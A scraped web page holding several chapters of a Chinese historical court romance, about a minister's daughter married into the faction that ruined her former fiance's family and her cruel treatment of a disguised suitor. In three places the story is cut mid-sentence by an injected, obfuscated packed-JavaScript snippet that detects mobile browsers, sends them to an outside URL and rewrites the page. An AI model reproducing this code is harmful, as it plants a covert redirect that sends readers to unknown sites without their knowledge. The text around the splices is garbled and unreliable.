那些曾经坚信言峻挺清白的人中,有的觉得遭到背叛,转头便痛斥其欺世盗名,有的心存疑虑,却最终选择了缄默不言。 但是,还有相当一部分人即便面对着白纸黑字的铁证,仍不相信言相会做这样的事情,认为是酷吏罗织冤狱,屈打成招,希望皇帝重审此案。 宜宁公主便是这些人中的一个。 她几次上疏请求皇帝派医官给言峻挺查验伤势,以确定他身上有没有刑讯逼供的痕迹。 半个月过去,没有收到任何答复。 她又面见皇帝,希望皇帝能够更换一批审讯的官员,不让张暨则和魏王的人插手此案。 可皇帝非但对她的进言不予理会,到最后甚至怒不可遏地猛拍桌案,质问道:“萧妙悟,你这般违逆君父,是想与言家同罪吗?” 听到这番话的众人心中都打起了鼓。 若连皇帝最宠爱的宜宁公主都免不了被处置,那旁人沾上这同情逆党的罪名,岂不更是死无葬身之地? 于是,这一问如寒刀霜刃,将所有为言家辩白的声音彻底斩断。 - 窗外风声倏然变得凄厉,穿过树梢间,带起一阵哀鸣。姚韫知心乱如麻,抬手撇去眼角的泪痕,哽咽道:“玉漏姐姐,你是知道的。妙悟贵为公主之尊尚且如此步履维艰,我一个寻常闺阁女子,又能做什么呢?” “可是姚大人是在御前说得上话的啊。” 姚韫知叹了口气道:“若妙悟真的找到了什么足以翻案的证据,我或许还可以劝爹爹向圣上上书覆查此案。可现下言相自己都认了罪,我爹爹如何能替他出这个头?” 玉漏迟疑了片刻,咬牙道:“我给你看一样东西。” 她随即从腰间掏出了一块手绢。 一瞬间,一股浓浓的铁锈味混着潮湿的霉味扑入鼻腔。 姚韫知险些呕了出来。 她剧烈咳嗽着,好半晌才缓过来。待到眼眶中的水雾散去,她才看清玉漏的手绢中包裹着一条血迹斑斑的麻布。 姚韫知强忍着恐惧,将目光落向手帕上模糊的字迹。分辨出那一句“满腹沉冤,昭雪无门”,她蓦地抬起头,颤抖着问道:“这是……怀序的血书?” “是,”玉漏颔首,“这虽算不得直接的证据,可至少能说明审理此案的人中有人徇私枉法,所以才让言公子的冤情没能上达天听。” 姚韫知的手颤抖得厉害。 玉漏又道:“公主原本是打算亲自将这封血书交给陛下,可她而今被禁足,陛下又不肯见奴。公主没有办法,这才让奴来找小姐。” 姚韫知垂下眼帘,似乎还在犹豫。 玉漏见姚韫知侧过头去不忍与她对视,又挪到她的膝前,矮下身子,仰头直视着她的眼睛道:“奴知道小姐的顾忌,奴此来也不是要逼迫小姐为了言家以身涉险。奴只是想提醒小姐,或许救人也是救己。” 姚韫知眼中倒映着的烛光轻轻摇曳了两下。 玉漏捕捉到她眼中闪过些许动容,又接着说道:“小姐可曾听说,前几日,张暨则弹劾了顾侍郎,说他是言大人的朋党?” 姚韫知瞪大眼道:“顾侍郎不过只是在言相从前在户部的时候与他共事过一段时日,二人并无什么私交。张暨则连他都不肯放过吗?” “这朝野上下谁人看不出,张暨则就是在借着此事排除异己!”玉漏顿了顿,恻然道,“小姐,言姚两家是几十年的世交,小姐和怀序公子之间还有过婚约。小姐试想,若言家真的倒台了,魏王和张暨则他们难道不会趁机攀咬旁人,将他们眼中的言党一网打尽吗?” 姚韫知紧紧攥着衣角,指甲一点点嵌进了手心。 她自问不是一个铁石心肠的人。 言家出事的这一个月以来,她也同样整宿整宿地睡不着觉,每日失魂落魄,形容憔悴,宛如一具行尸走肉。可事关姚府上下几十口人的身家性命,她又如何能沉溺于儿女情长中,置自己至亲之人的生死于不顾呢? 为了不让父亲为难和伤心,她从来没有在父亲面前提起过言家的事情,也从未请求过他营救自己的未婚夫。 但是今夜,玉漏这番话似乎给了她一个很好的借口,让她不必因为自己的“不孝”而充满负累。 她心中再一次起了波动。 若张暨则铁了心要排除异己,大肆株连言党,那她是不是应该说服父亲,为言家争得一线生机呢? 犹豫了良久,姚韫知还是去到了父亲办公的书房。 已是子时二刻,里面还有光从门缝里透出来,看样子父亲此时应当还没有歇下。 姚韫知深吸了一口气,敲了两下房门。 里头传来父亲姚钧警惕的声音,“是谁?” 姚韫知佯作云淡风轻,语气轻快道:“爹爹,是我。” 姚钧道:“进来吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚韫知正欲从袖中拿出那封血书,告诉父亲言家一案或许藏着巨大的冤情,却听见姚钧冷笑着问道:“你觉得你爹我能拿什么和他们斗!” 他抬手从镇纸底下抽出了那一本红色的薄册,扔到姚韫知的面前,淡淡道:“你自己看看吧。” 姚韫知只觉得一瞬间被冷水浸透,双手颤抖得厉害。她拿起册子,缓缓打开,看清上面的字后,呼吸一滞。 她立时抬眼望向姚钧,一脸难以置信,“爹爹这是什么意思?” “这是张侍郎大公子张允承的庚帖,”姚钧道,“你的庚帖,前几日,张侍郎已经已经派人来家里取走了。” 闻言,姚韫知如遭雷殛。 她不住摇着头道:“爹爹,女儿不愿嫁给张允承!” 姚钧眉头紧锁,半晌未发一语。 姚韫知跪倒在地,双手紧紧握住姚钧的衣角,泪眼朦胧道:“爹爹,女儿知道,您这些日子以来的隐忍和沉默,都是为了保住姚家,女儿知道爹爹的苦衷,女儿既无立场,也无资格去苛责您什么。可是您明明知道,是张暨则将言家害成这般田地,您怎么能让我嫁给他的儿子?” 姚钧神情严肃道:“韫知,言家若倒台,太子的地位必然会受到威胁。届时魏王得势,咱们家若被视作太子一党,只怕难逃株连。既然现在魏王有招揽之意,张公子又对你痴心一片,咱们不若就趁着这个机会转投魏王,为你,为姚家,谋一个好的前程。” “可现在太子还是太子,”姚韫知仍旧无法理解,“咱们为什么要放弃一个清正的储君,和魏王那样的人同流合污呢?” “太子仁懦,难成大事。何况这次姚家没有站出来为言家说话,以太子对他老师的感情,只怕心中对咱们早就生出了芥蒂,保不齐将来会报复回来。” “太子殿下不是不讲道理的人,他……” 姚韫知的话还没有说完,姚钧已然不给她任何机会。他挥手招来几个小厮,严厉吩咐道:“把小姐带回房间,在她出嫁之前,不许她再见任何人,包括云初!” 他说完站起身,迈步走出书房。 “爹爹!”姚韫知忽然开口叫住姚钧。 姚钧停下脚步,却没有回头看她。 姚韫知嗓音沙哑道:“爹爹可否回答女儿一个问题?” 姚钧沉默不语。 姚韫知直接开口问道:“您是何时投靠的张暨则和魏王?” “这重要吗?”姚钧反问。 姚韫知含泪道:“重要!” 她可以理解父亲为了自保沉默,却接受不了父亲为了利益主动参与了对言家的构陷。 姚钧推开门,径直走了出去。 冷风灌进屋内,裹挟着雪籽扑面而来,她一瞬间迷了眼。耳畔除了呼啸声,其余的,什么也听不见。 直到父亲去世,她也没有等来这个问题的答案。 8. 虚实间 姚韫知对着油灯枯坐了良久,再抬头的时候,窗外已然是一片通明。她左右也睡不着,干脆披了外衣到院中赏雪。 没成想一打开屋门,就瞧见脚边立着一只歪歪扭扭的雪人。 她疑心是昨夜没有睡好,生出了幻觉,抬手揉了揉眼睛。可再定睛一看,却发觉眼前的哪里是雪人,而是一个裹着白色斗篷的男子。 他抱膝靠在门框上,头顶落满了雪花。 姚韫知不知道这人今天又是在唱哪一出戏,没好气地开口:“你来这做什么?” 任九思垂着一双桃花眸,似是不敢直视她的眼睛。听到她的声音,他缓缓朝她的方向挪近几步,仅仅酝酿了半刻,便身子一斜倒在了她的腿边,随即眼尾泛起一片薄红,声音低哑而哀怨,“求夫人收留小人。” 姚韫知被这副造作的模样气乐了,语带讥诮道:“这么大一个照雪庐,还装不下九思公子吗?” 他却似听不懂好赖话一般,虔诚地捧起她的衣摆,哀哀道:“照雪庐虽大,可夫人不在,实在冷得很。” 姚韫知听着这些张口就来的诨话,眉头越皱越紧。 她压抑着不耐,低声喝道:“松手!” 任九思置若罔闻。 姚韫知只好又将声音抬高了几分,“把你的脏手从我的身上拿开!” 不料这个任九思的脸皮当真是要比城墙还要厚,非但没有松手,反而顺着衣角向下滑去,蓦地扣住了她的脚腕,指尖隔着云袜暧昧地在她脚踝处打了个圈。 姚韫知被这个举动恶心得头皮发麻,挣扎着要将他的手踢开。可此人看起来手无缚鸡之力,修长的指节却牢牢将她的脚握在手中,让她动弹不得。 姚韫知羞愤不已,又唯恐他再这般纠缠下去被人看见,正欲用力挣脱他的束缚,他却率先松开了手,非常没有诚意地同她致歉道:“小人失礼。” 她被这样的表态气得七窍生烟,原准备往死里踹他一脚解气,可一想到会闹出更大的动静,还是强压下心头的怒火,道:“回屋收拾收拾你的东西吧。” 任九思不解。 姚韫知淡淡道:“我一会儿就回了老夫人和主簿,将你送回到宜宁公主府上,张府怕是容不下你了。” 一听这话,任九思眼尾的湿红染得更深,像是沾了露水的桃花。分明做着极其无礼的事,语气却似受了莫大的委屈,“夫人就这般厌恶小人?” 姚韫知冷笑一声,一字一顿道:“是我身边容不下你这样见风使舵,背信弃义的小人。” 她将“小人”二字咬得极重,厌恶之情,溢于言表。 任九思闻言,沉默了一会儿,忽然幽幽开口道:“小人从不知夫人竟还是一个光明磊落,清白正直的君子,小人实在惭愧。” 这几句话里冷嘲热讽的意味实在太浓,倒让姚韫知生出了几分困惑。 她自然不信任九思真的对她心怀爱慕,也知道他这般死缠烂打,要么是图谋张家的权势,要么是为了寻求她的庇护。可方才他言语之中漏出的那几分嘲讽和不忿,似乎全然不是要求人的姿态,倒像是同她有什么旧怨一般。 姚韫知心念微动,忍不住问:“你这话什么意思?” 任九思浑不吝地解释道:“小人确是曾经侍奉过宜宁公主,如又想要掉转头来侍奉夫人。而夫人呢,从前同罪臣言氏一族一道追随太子左右,如今不也是投靠了魏王?若论审时度势,左右逢源,夫人只怕才是真正的行家里手,小人甘拜下风。” 姚韫知脸色变得极其难看。 他很快又嘴角轻轻一撇,意有所指道:“不过这么看起来,小人好像也与夫人十分投缘呢。” 姚韫知嘴唇翕动,似乎想要出言反驳,但她仿佛也的确被眼前这个人噎得无从开口,半晌才干巴巴地憋出一句:“谁与你投缘!” 任九思看出她理屈词穷,却也没有再步步紧逼,不动声色地转移话题道:“夫人不慎遗落的东西,却被小人无意间拾到,这还不算是投缘吗?” 未等姚韫知反应过来,他已然缓缓站起身,从怀中掏出一方手帕,在她眼前摊开。 手帕正中躺着一枚小巧的耳环。银质环身嵌着一颗深绿翡翠,映着雪色,泛起清透的光泽。 姚韫知一眼便认出了那是自己昨夜遗失的那一枚,伸手就要去夺,却被任九思轻巧地避开。 任九思不慌不忙地将耳环重新收回怀中,叹了口气道:“夫人既要铁了心将小人赶走,难道还不许小人留个念想么?” 姚韫知原以为这任九思只是行为孟浪,却不想这人竟还会做出这般小偷小摸的行径,胸中一时怒火翻涌。 但她还是深吸一口气,克制住了唤小厮进来将这个登徒子绑出去的冲动。 这样的事情,总归不宜声张。 不管张允承有多么信任她,不管她自己在与任九思的关系上有多问心无愧,昨夜去照雪庐与他私下见面一事,终究瓜田李下,解释不清。 眼下,自己的东西落到了他的手中,若是有心之人拿这个做文章,只怕又会闹出不小的风波。 与其一直提心吊胆地猜测他何时会拿出这个东西威胁自己,如何威胁自己,倒不如主动探探他的虚实。 谅他也不敢在张家的地盘上做出逼.奸良家妇女的事。 姚韫知觑了他一眼,扬了扬下巴道:“进去。” 任九思似乎是对这突如其来的妥协有些意外,站在原地没动。 姚韫知没再多言,一把推开门,转身冷冷望着任九思,待他不疾不徐地跨进门槛,她才“砰”的一声,将门重重关上。 屋内的烛火暧暧,空气中弥漫着令人尴尬的沉默。 姚韫知担忧有人靠近,正准备从里头将门反锁上,耳畔却冷不丁传来任九思的声音,“夫人当真以为适才闹出了这么大的动静,守在外头的奴才听不见吗?” 姚韫知手上的动作一顿。 任九思道:“夫人莫慌,小人已经用迷香将他们都放倒了。” 饶是一早就知道眼前这个人根本毫无廉耻之心,姚韫知仍是起了阵无名火,没好气地刺道:“你到底还有多少下三滥的手段是我不知道的?” 任九思一脸无辜道:“若这么快就将底线对夫人和盘托出,夫人岂不是会早早厌倦小人?” 姚韫知没有理睬他这套歪理,兀自把门锁插好。 任九思又道:“不过夫人放心,小人绝不会把这些手段用在夫人身上。毕竟,小人所求的,是夫人的这颗心。” 姚韫知已然听倦了这些车轱辘话,见他在这里演得这般起劲,也懒得再与他争执,转过身,径直朝内室走去。 张家老夫妇回乡后,她与张允承便分房居住了。绝大多数时候,她都是一个人宿在临风馆,是以屋内的陈设和布置都是遵循的是她自己的喜好,素雅而简洁。 房间的正中央摆放着一张圆形的檀木书案,上面堆满了宣纸和笔墨,看得出她常在此习字作画。房间的一角,靠窗的位置放着一张乌色的木床,上面只悬挂着一条素净的布帘。唯有窗边挂着几串风铃,风过时发出清脆的声响,倒是为这清冷的居所添了几分生气。 任九思环视了一眼屋内,目光不由自主落到了书架旁悬着的一架焦尾琴上。 他朝琴走近了一步,抬起手,下意识想要去触碰琴穗,耳畔却倏然传来一道冷厉地声音:“别动!” 任九思的手微微一顿,停在半空,指尖离琴身不过寸许。他愣了愣,随即缓缓收回手,唇边扬起一抹自嘲的笑意,“小人忘了,小人手脏。” 不知为何,姚韫知心口莫名其妙抽搐了一下。更刻薄的话才到唇边,又咽了下去。 “我并无此意,”她平静道,“只是这张琴曾经摔坏过,修补了几次以后,现在已经十分脆弱。平日里,就连我自己也很少动它。” 任九思闻言,饶有兴致地望着那张琴,歪了歪头,“其实也不是什么名贵的好琴,夫人再换新的也就是了。夫人若不嫌弃,小人手中正有几架小叶桢楠古琴,任夫人挑选。” “不必。” 任九思听她拒绝得这么斩钉截铁,又望了一眼墙上的那张旧琴,挑起眉梢,意有所指地地问:“夫人这般在意这琴,难道这是故人之物?” “这与九思公子接下来要说的事情有关吗?”姚韫知语气不善地反问。 “这倒没有,”任九思立时收回目光,“不过是随口问问罢了。” 姚韫知皱着眉道:“有什么话快说,我没空同你在这里啰嗦。” 任九思把玩着手中的耳环,不紧不慢地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791714|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口:“小人同夫人谈一个条件吧。夫人只要能答应小人三件事,小人便将夫人的东西交还给夫人,如何?” “三件事?胃口还真不小。”姚韫知讥讽道。 她不欲与他废话,直截了当道:“你先说是什么事。” “小人,现在还没有想好。” “那我便与九思公子无话可说了。” 姚韫知抬手做了个“送客”的手势,眼中无一丝波动。 任九思一脸恭敬,可说出的话却出格到了极点,“夫人难道怕小人以此要挟,非要与夫人共赴那巫山云雨之梦?” 姚韫知脸色一沉,“放肆!” 任九思笑了笑,又接着说道:“小人虽不是什么正人君子,可待夫人,却从来是一片赤诚。夫人若不信,大可以去取一把刀来,将小人的心剖开,看看小人心中可曾对夫人存有半分邪念。” 姚韫知眉心微蹙,似是在极力克制心头涌起的烦躁。 任九思问:“若小人承诺,小人所说的事,不会有损夫人玉体,不会有碍夫人名声,更不会违背夫人良心。夫人允是不允?” 姚韫知依旧没有任何反应。 任九思缓缓朝着姚韫知的方向走近,张开手,将耳环递到姚韫知面前。 姚韫知没有任何犹豫,飞快地伸出手,一把抢过任九思递来的耳环,将它收进了袖子里。 任九思好似对此并不意外,不但没有恼怒,反而轻轻抬起刚才姚韫知触碰到的手指,往鼻尖贴近,痴迷地嗅了嗅。 这一系列动作,姚韫知都看在眼里。 任九思看她在打量自己,还冲她挤了挤眉毛。 姚韫知不明白人怎么可以不讲脸到这种地步,连一点骨气,一点自尊也没有。 她不想和他对视,直接将眼睛移了开。 再与这样的人争执,怕是连带着自己也失了体面。 她半晌没有说话,但出乎任九思意料的是,再次开口时,话里竟留了几分余地。 “其实,我也不是不能答应你。” 姚韫知朝他走近几步,纤细的手指轻轻点了点他斗篷上的系带,“把衣服脱了。” 任九思疑心自己是听错了,微微怔了一怔。 姚韫知问:“不愿意么?” “自然不是。” 任九思眼中虽透着笑意,声音里却带了几分不明的情绪。 不过,他还是顺从地将最外层的斗篷脱了下来。 姚韫知只是盯着他看,眼神平静得让人摸不透心思。 须臾,她的手微微抬起,指尖停在他胸前的衣料上,在领口处轻轻一勾,低声道:“继续。” 任九思喉结滚动了一下,似是犹豫了一瞬,但终究还是听从了她的话,自领口缓缓将衣服拉开,又脱下第二层直裰。 姚韫知悠悠道:“没有叫你停,你便继续往下脱。” 任九思只好再脱了一重里衣。 他动作不疾不徐,指尖在衣带处轻轻一拨,里衣便顺着肩线遽然滑落,露出一层薄薄的亵衣。 他的身形单薄清瘦,衣料紧紧贴在身上,勾勒出僵硬的线条。灯光昏黄,将他的面庞涂上了一层柔和的釉色。他的皮肤苍白如玉,锁骨下隐约透出几道淡色的旧疤痕,带着几分病态。 见姚韫知仍没有要停下的意思,他心下微微一沉。 落在衣带上手迟迟没有进一步的动作。 接近姚韫知,获取她的信任,本就是他计划当中的一环。 他曾以为让她卸下对自己的防备,需要徐徐图之。博得她的好感,更不能急于一时。 可此事进行得这般顺利,他倒不知是该高兴还是难过了。 不过他迅速敛住了心底溢出的一丝怅惘,重新戴上了风流公子的面具,一双桃花眸微微眯起,温存地唤了一声:“夫人——” 没成想,下一刻姚韫知原本带着笑意的目光便化成了一把尖锐的刀。 她眉头一凛,冷睇着任九思,毫无预兆地出声命令道:“跪下!” 任九思一时没反应过来,愣了愣。 姚韫知看着任九思僵硬的表情,莞尔一笑。 她徐徐开口,声音轻柔婉转却透着一种难以言喻的威压,“你不是想要伺候我么?那就,跪下吧。” 9. 铁石心 天光乍亮,大雪如鹅毛般纷纷扬扬飘落在地,一脚踩下去,只听得“咯吱”一声,松软的雪层瞬间没过脚踝,留下深深浅浅的脚印。 张府的下人像往常一样拿着苕帚清扫院中的积雪,却诧异地发现前院的铜缸旁跪着一个人。 那人跪在雪地里,身影单薄如纸。 积雪覆满了他的肩膀和头顶,染白了乌黑的发丝,连眉梢都凝着细碎的冰霜。 扫雪的下人见状不由一怔,一时不敢上前,急忙去回了张允承。 等张允承赶到的时候,任九思双颊已被冻得惨白,指尖因长久的寒冷泛起青紫色,骨节分明的手背透出隐隐的青筋。他的脊背微微颤动,像风中将折未折的枯枝。 张允承被吓了一跳,转头问带他来的小厮:“怎么不拦着老夫人?” 小厮解释道:“不……不是老夫人,是少夫人。” “韫知?”张允承更震惊了,他又扭头望了一眼任九思被雪水浸透的单衣,一脸不可思议地问道,“她为什么要把任公子罚跪在这里?还不让人穿衣服?” 小厮也是一脸茫然,“少爷,我也不知道啊。” “那还不赶紧把人弄起来!” 小厮连忙应了声“欸”,小跑上去扶人。可他才弯下腰,风里倏然飘来一道冷峻而严厉的声音:“不许扶!” 张允承和小厮同时转过身去,却见姚韫知手中撑着一把纸伞,自风雪中来,神情却比这风雪还要冷上几分。 听闻脚步声渐渐靠近,任九思虚弱地睁开眼,细碎的雪花飘落在他湿润的睫毛上。他的视线有些模糊,眼前只剩下一团灰白色的影子。 他听见张允承开口劝道:“韫知,这天寒地冻,你让人跪在这里,闹出人命怎么办?” 姚韫知却不紧不慢地反问:“他得罪了我,不该罚吗?” 张允承顿了一顿,语气一下子变得有些紧张,“怎么,这小子轻薄你了?” “倒也不是,”姚韫知自然不会承认,随便寻了个借口敷衍张允承,“他昨日分明答允了你不会轻易出现在照雪庐以外的地方,可方才却鬼鬼祟祟地出现在前院,行迹实在可疑。夫君觉得,我不该给他立一立规矩吗?” “就算是这样,也不能罚人跪啊。” 姚韫知却道:“夫君不知道,这人骨头软,跪一跪也不妨事。” 这话落入耳中时,任九思竟有些恍惚。 一种久违了的钝痛迟缓地涌上心口。 他艰难地转动视线,终于看清了那把纸伞下两道依偎的身影。 张允承一手执伞,另一手自然而亲昵地搂着姚韫知的肩膀,将她护在伞下,替她挡住扑面而来的风雪。 他的眸光是极其温和的,对着她含嗔的眉目,即便并不认同的她的所作所为,语气仍然温吞得像是白开水,“好了,韫知。你看这罚也罚过了,气总该消了吧?” 姚韫知没有说话。 张允承于是往小厮的方向看了一眼。 小厮得了眼色,赶紧又要去扶人。 这回姚韫知倒是没阻止。 可任九思却纹丝未动,只是缓缓抬起眼,目光轻轻落在姚韫知的脸颊上。 他记得,一年前他回京之时,宜宁公主曾隐晦地同他提起,韫知这些年变了许多。 彼时的他对姚韫知已然是失望之至,实在不愿再与这个人有任何交集,于是不动声色地岔开了话题。 宜宁公主见他有意回避,没再多言。 可这句话,还是在他心里留下了细微的痕迹。 鸣玉坊的那次重逢,他站在宜宁公主的身旁,仿若漫不经心,视线却好几次不动声色地从她的脸上晃过。 他记得,那日姚韫知穿了件素净的蓝裙,脸上没有擦胭脂。暖黄的光晕下,繁密的发丝勾勒出亮色,脸上细细的绒毛亦是清晰分明。 目光相触的瞬间,他仍然觉得站在自己面前的还是那个十六七岁的小姑娘,一袭春衫,顶着双髻,巧笑嫣然地凝视着自己。 他也曾有过闪念。 或许当年的事,她也有自己的难处。 或许是张家以权势相迫。 或许是她的家人以性命相逼。 所以,她才不得不背叛与他的情谊。 直到今日,当他目睹了她与张允承这般亲密无间,听见了从她口中吐出的那些骄纵刻薄的言语,知道了她原来竟也能从折磨旁人当中品出乐趣,他这才明白宜宁公主口中的“变了”究竟是什么意思。 不单单是变了。 而且变得面目全非,丑陋可憎。 他想,或许她原本就是这样一个人。 同他在一起,不过是贪慕这段婚姻所能带给她的荣利。 其实这个人是言怀序也好,张怀序也罢,于她而言根本就没有什么分别。 只是他那时太过天真,所以才会所托非人,让自己,让言家,陷入这般万劫不复的境地。 思绪游离的这片刻功夫,他纤长的睫毛上又一次覆上了一层霜雪。他垂下眼睫,等到冰晶掉落融化,再抬眼望向姚韫知的时候,眸底已经无波无澜。 他定定望着这张渐渐变得陌生的面孔,并没有要站起来的意思。 左右再多这么一时半刻,他是也冻不死的。 可此刻的屈辱,他要自己永远记在心里。 张允承以为任九思是非得要得了姚韫知的允许才肯起身,又轻轻拉了拉姚韫知的衣袖。 姚韫知算了算时间,觉得这样的惩戒应该足够让他长记性了,她于是望向僵在原地,不该如何是好的小厮,悠悠道:“他不肯起来,你们就不能把他架起来吗?” 小厮连连点头,回了声“遵命”。 任九思脸上血色尽褪,被两个小厮架着,才艰难站起身。他回视姚韫知,唇颤翕动,可一句话未出口便化作白雾散去。唯有喉间沉闷沙哑的咳嗽声,混入风雪,模糊不清。 张允承眼底隐隐浮起几分怜悯,嘱咐道:“你们扶九思公子回房,好生照料。” 姚韫知自始自终没有说一句关怀的话。 她并不愿意承认,望着他萧瑟的身影,有那么一个刹那,她想起了那个大雪中鹤骨松姿的少年。 但转瞬之间,她又为产生这样的念头而感到可笑。 眼前这个人,奴颜媚骨,周旋于不同贵妇之间,冲着她们摇尾乞怜。 就连此刻,自己给他这样大的屈辱,他都能为了一点蝇头小利,面不改色地曲意奉承。 偏偏这样一个人,能在权贵间混得风生水起。 而言怀序的膝盖,从来只跪君父师长。 除此之外,即便身在魂飞汤火的炼狱,他也不曾对任何人低下他高贵的头颅。 可是,那样一个铁骨铮铮,宁折不弯的少年,却寂寥地死在了永昌十三年的冬夜。 他死的时候,只有十七岁。 许是被风迷了眼睛,姚韫知别开脸。她正要转身回屋,冰冷的手指忽然被包裹在一个宽大的手掌里。 张允承轻轻摇了摇她的手,柔声道:“韫知,咱们一会儿一同去用早饭,好不好?” 姚韫知点了点头。 - 张家家风崇尚简朴,早上通常都是喝梗米粥。 张允承知道姚韫知喝不惯,专门替她备了一碗热乎乎的馎饦,又让命人天不亮就去集市排队买来一筐羊肉胡饼,给她换换口味。 姚韫知慢条斯理地吃着馎饦,胡饼却一口未动。 张允承问:“是不合胃口吗?” 姚韫知低着头,继续用筷子挑着碗里的面片,“我不爱吃胡饼。” 张允承一怔,但还是道:“那就不吃了。” 他将放胡饼的箩筐拉到自己面前,兀自拿起一个放到嘴里。一口咬下去,薄薄的饼皮裂开的瞬间,炙山羊肉的鲜香带着酥饼皮的甘咸,在口腔中回旋,实在是美味。 他忍不住又问了一遍姚韫知:“是云氏饼家的胡饼,你当真不要尝一尝吗?” 姚韫知抬起头。 张允承眉飞色舞道:“看来我没有记错,你从前是不是常去这家摊子买饼子吃?” 姚韫知有些惊讶,“你怎么知道?” “因为我在朱雀街的岔路口遇到过你许多次,”张允承不好意思地笑了笑,“不过那时候,你应当没有留意到我。” 不单单是没有留意到他,她身边自始至终都站着同一位温文尔雅,身形俊逸的年轻公子。 看到他们站在一起,他才懂得了话本里的郎才女貌是什么意思。 后来他打听到,那个神仙般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791715|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人物正是那位姚小姐的未婚夫婿。他的父亲是当朝宰相言峻挺,而他自己亦是年纪轻轻便做了今岁恩科的一甲进士。 论才貌,论家世,自己根本难以望其项背。 偶然碰见两人并肩走在街头,言笑晏晏,除却羡慕,他亦别无他想。 此刻,面对着这张明眸皓齿的面孔,他仍有一种强烈的不真实感。 他从不敢奢求那个明珠一般耀眼的小娘子,真的有一天会成为他的妻。 可现在,她就在自己的面前,和自己隔着一张桌子用着早饭,同自己说着一些琐碎而平淡的家常。 张允承咀嚼着口中的胡饼,对现在所拥有的一切,感到十分满足。 他不似他的父亲那般,有什么经天纬地的理想,只要能够和姚韫知在一起,什么功名利禄,权势地位,他统统都可以不在乎。 他静静地看着姚韫知,姚韫知也抬头看着他。 等到他吃完了手中的一整张胡饼,她才不咸不淡地问:“所以,你在那时候就看上我了?” 这一问让张允承忽然有些紧张,他总觉得这句话里带着些不大寻常的意思。 他下意识觉得自己应该去解释,譬如告诉她那时候自己虽对她心怀爱慕,可也知道她已有婚约,所以并没有对她存有什么非分之想,更没有想过利用言家的事情胁迫她嫁给自己。 可转念一想,她现在既然已经成为了自己的妻子,再去分辩这些细枝末节的事,已经没有任何意义。 他于是点了点头,坦诚地说道:“你记不记得?当时在摊子前,有个面黄肌瘦的小乞丐偷了一个饼子,不巧被摊主抓了个正着。那摊主凶得很,扬起手就要打她。你看不过去,同那摊主争执起来,说她只是一个六七岁大的孩子,便是为了生计偷了两个饼子,教训几句也就是了,何苦要动手打人?那摊主骂你站着说话不腰疼,是在慷他人之慨,结果你马上掏出了身上所有的银钱,替她赔给了摊主,剩下的钱也全部塞到了她的衣兜里。” 姚韫知一时间有些失神。 她当然还记得。 就是因为这件事情,她被父亲罚跪在院中,还连累着言怀序陪她一起跪着。 那时,他一边替她小心翼翼地擦着眼泪,一边安慰她:“姚伯父觉得你出头冒尖,不懂规矩,可我却觉得你是个很好很好的人。” 姚韫知听到这话,眼眶更红了,委屈道:“言大公子,你诗赋词章都能信手拈来,怎么到了夸我的时候,就只会说‘很好很好’。” 言怀序只好拉着她的手,笨拙地向她赔礼道歉。 此刻,张允承也在她的面前,口中也说着和言怀序当年极相似的话。 他一边回忆,一边微笑道:“那时候我就觉得,你不但漂亮聪慧,还十分善良温柔,同许多骄矜的世家女子都不一样。” 她怔了怔。 须臾过后,眼中泛起无尽的怅惘。 姚韫知再一次将目光投向筐中的胡饼,眼前不自觉浮现起的是数年前那个摊主对着小乞丐吹胡子瞪眼睛的场景。 对那时的她来说,拿出身上的银钱接济一个小乞丐,就像从满溢的池塘中捧起一捧水,是一件轻而易举就可以办到的事情。 所以她不理解,为何那个摊主会吝啬于施舍给可怜人一块小小的胡饼,把自己弄得如此面目可憎。 可后来,言家出事,姚家自顾不暇。 当父亲手中紧握着唯一一块关乎全家生死的“胡饼”时,姚韫知再也无法置身事外地劝说父亲,慷慨地将它施舍给任何人了。 “韫知,你怎么了?”张允承担忧地问道。 姚韫知收回思绪,摇了摇头,“刚刚被风吹得有些头疼。” 张允承立刻伸出手道:“那我替你揉揉。” 姚韫知侧身一躲,又看了一眼窗外,问道:“现在是不是快到你上值的时候了?” 张允承“哎呀”一声,一拍脑门道:“谢娘子提醒,差一点忘了。” 他忙不迭站起身,戴了帽子就要出门,却正好撞上一个小厮进来通报:“少爷,少夫人,任公子刚刚晕倒了。” 张允承看了一眼姚韫知。 姚韫知脸上却没什么表情。 她淡淡道:“你且先去衙门,家中的事我会处置妥当的。” 10. 痴心付 姚韫知没料到任九思会病得这般厉害。 她虽口中说着“自作自受”,可到底存了几分不忍和愧疚,还是命人将他挪去了内院暖阁,又嘱咐大夫好生诊治。 入夜,暖阁中弥漫着浓浓的药气,窗外风雪依旧。 任九思躺在榻上,面色苍白如纸,额头覆着湿凉的帕子,昏迷中呼吸浅薄得几乎听不见。 姚韫知站在暖阁外,隔着半掩门帘往里头瞧了一眼。 灯火摇曳,将任九思憔悴支离的影子照在屏风上,似一幅虚幻模糊的画。他在昏迷中微微皱眉,唇间逸出一声沙哑的低喃。 声音太轻,消散在风声与往来的脚步声里,没能传到纱帘之外。 